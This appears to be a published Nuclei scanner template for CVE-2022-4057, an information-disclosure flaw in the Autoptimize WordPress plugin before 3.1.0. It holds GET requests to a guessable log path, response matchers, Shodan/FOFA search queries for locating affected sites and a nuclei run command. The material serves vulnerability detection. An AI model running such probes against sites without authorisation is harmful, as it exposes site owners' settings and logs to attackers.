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Autoptimize < 3.1.0 - Information Disclosure

ID: CVE-2022-4057

Severity: medium

Author: DhiyaneshDK

Tags: cve,cve2022,wpscan,wp,wordpress,wp-plugin,disclosure,autoptimize,optimizingmatters

The Autoptimize WordPress plugin before 3.1.0 uses an easily guessable path to store plugin’s exported settings and logs.

id: CVE-2022-4057
info:
name: Autoptimize < 3.1.0 - Information Disclosure
author: DhiyaneshDK
severity: medium
description: |
The Autoptimize WordPress plugin before 3.1.0 uses an easily guessable path to store plugin's exported settings and logs.
impact: |
An attacker can gain access to sensitive information, potentially leading to further attacks.
remediation: |
Upgrade to Autoptimize version 3.1.0 or later to fix the information disclosure vulnerability.
reference:
- https://wpscan.com/vulnerability/95ee1b9c-1971-4c35-8527-5764e9ed64af
- https://wordpress.org/plugins/autoptimize/
- https://nvd.nist.gov/vuln/detail/CVE-2022-4057
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2022-4057
cwe-id: CWE-425
epss-score: 0.00125
epss-percentile: 0.46949
cpe: cpe:2.3:a:optimizingmatters:autooptimize:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: optimizingmatters
product: autooptimize
framework: wordpress
shodan-query: http.html:/wp-content/plugins/autoptimize
fofa-query: body=/wp-content/plugins/autoptimize
publicwww-query: /wp-content/plugins/autoptimize
tags: cve,cve2022,wpscan,wp,wordpress,wp-plugin,disclosure,autoptimize,optimizingmatters
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/uploads/ao_ccss/queuelog.html"
- "{{BaseURL}}/blog/wp-content/uploads/ao_ccss/queuelog.html"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Job id &lt;'
- 'log messages'
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022100f6c9cd3777fda4e93258ffddc288e37f9fc32d54e751963a1a1a89886480507b02201f8a94621fd3d04aac71105bff695cee5074b331f5aff36f1399e6eba4689a06:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

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$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-4057.yaml"

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